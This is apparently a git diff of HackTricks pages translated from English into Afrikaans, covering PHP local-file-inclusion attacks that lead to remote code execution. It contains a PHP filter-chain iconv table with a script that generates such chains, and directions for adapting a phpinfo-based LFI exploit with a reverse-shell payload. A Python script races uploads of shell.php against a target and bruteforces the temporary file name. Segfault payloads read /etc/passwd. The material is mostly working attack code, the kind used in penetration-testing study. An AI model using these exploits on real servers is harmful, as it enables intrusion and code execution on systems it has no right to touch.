'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}
```
Here is the **script** to get encodings that generate each b64 letter:
Hier is die **script** om kodering te verkry wat elke b64 letter genereer:
```php
<?php
@ -186,91 +181,89 @@ $known = array();
function get_tranform($val, $convs){
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
}
function test_value($val, $convs){
global $known;
global $known;
$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){
if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){
$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);
$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);
$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";
if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";
if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
}
function find_vals($init_val) {
global $convs;
global $convs;
$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
array_push($convs_used, array("UTF8", "CSISO2022KR"));
$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
array_push($convs_used, array("UTF8", "CSISO2022KR"));
$current_val2 = "";
$current_val2 = "";
for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];
for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];
if ($conv1 === $conv2){
continue;
}
if ($conv1 === $conv2){
continue;
}
$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);
$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);
$current_val2 = get_tranform($current_val, array($new_conv));
$current_val2 = get_tranform($current_val, array($new_conv));
if ($current_val === $current_val2){
continue;
}
if ($current_val === $current_val2){
continue;
}
$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}
$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}
while(true){
find_vals($init);
while(true){
find_vals($init);
}
?>
```
## More References
## Meer Verwysings
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Verdiep jou kundigheid in **Mobiele Sekuriteit** met 8kSec Akademie. Meester iOS en Android sekuriteit deur ons self-gebaseerde kursusse en kry gesertifiseer:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,44 +2,41 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploitte om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.**
Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file_uploads = on" en die bediener moet in die "/tmp" gids kan skryf.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
Jy moet die eksploit herstel (verander **=>** na **=>**). Om dit te doen kan jy:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
U moet ook die **payload** aan die begin van die exploit verander (byvoorbeeld vir 'n php-rev-shell), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, d.w.s.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, d.w.s.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kontroleer die dubbele "%" wanneer jy die null char exploiteer)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
### Theory
### Teorie
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
As opgelaai word in PHP en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang tot die tydelike lêer te verkry voordat dit verwyder word.
In **Windows** the files are usually stored in **C:\Windows\temp\php**
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en toegang te verkry voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
**phpinfo()**
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name (if length = 6)**
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koptekste) **wat 'n php** reverse **shell oplaai**, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die temp lêer** te verkry voordat die php bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
**Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)**
```python
import itertools
import requests
@ -48,27 +45,25 @@ import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
According to the writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (second part) and [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), the following payloads caused a segmentation fault in PHP:
Volgens die skrywe [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (tweede deel) en [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), het die volgende payloads 'n segmentasiefout in PHP veroorsaak:
```php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
@ -11,13 +10,11 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
Jy moet weet dat as jy 'n **POST** versoek **stuur** wat 'n **lêer** **bevat**, PHP 'n **tydelike lêer in `/tmp/php<iets>`** sal skep met die inhoud van daardie lêer. Hierdie lêer sal **automaties verwyder** word sodra die versoek verwerk is.
You should know that if you **send** a **POST** request **containing** a **file**, PHP will create a **temporary file in `/tmp/php<something>`** with the contents of that file. This file will be **automatically deleted** once the request was processed.
If you find a **LFI** and you manage to **trigger** a segmentation fault in PHP, the **temporary file will never be deleted**. Therefore, you can **search** for it with the **LFI** vulnerability until you find it and execute arbitrary code.
You can use the docker image [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) for testing.
As jy 'n **LFI** vind en jy slaag daarin om 'n segmentasiefout in PHP te **onttrigger**, sal die **tydelike lêer nooit verwyder** word nie. Daarom kan jy **soek** daarna met die **LFI** kwesbaarheid totdat jy dit vind en arbitrêre kode uitvoer.
Jy kan die docker beeld [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) gebruik vir toetsing.
```python
# upload file with segmentation fault
import requests
@ -39,27 +36,25 @@ base_url = "http://%s:%d" % (host, port)
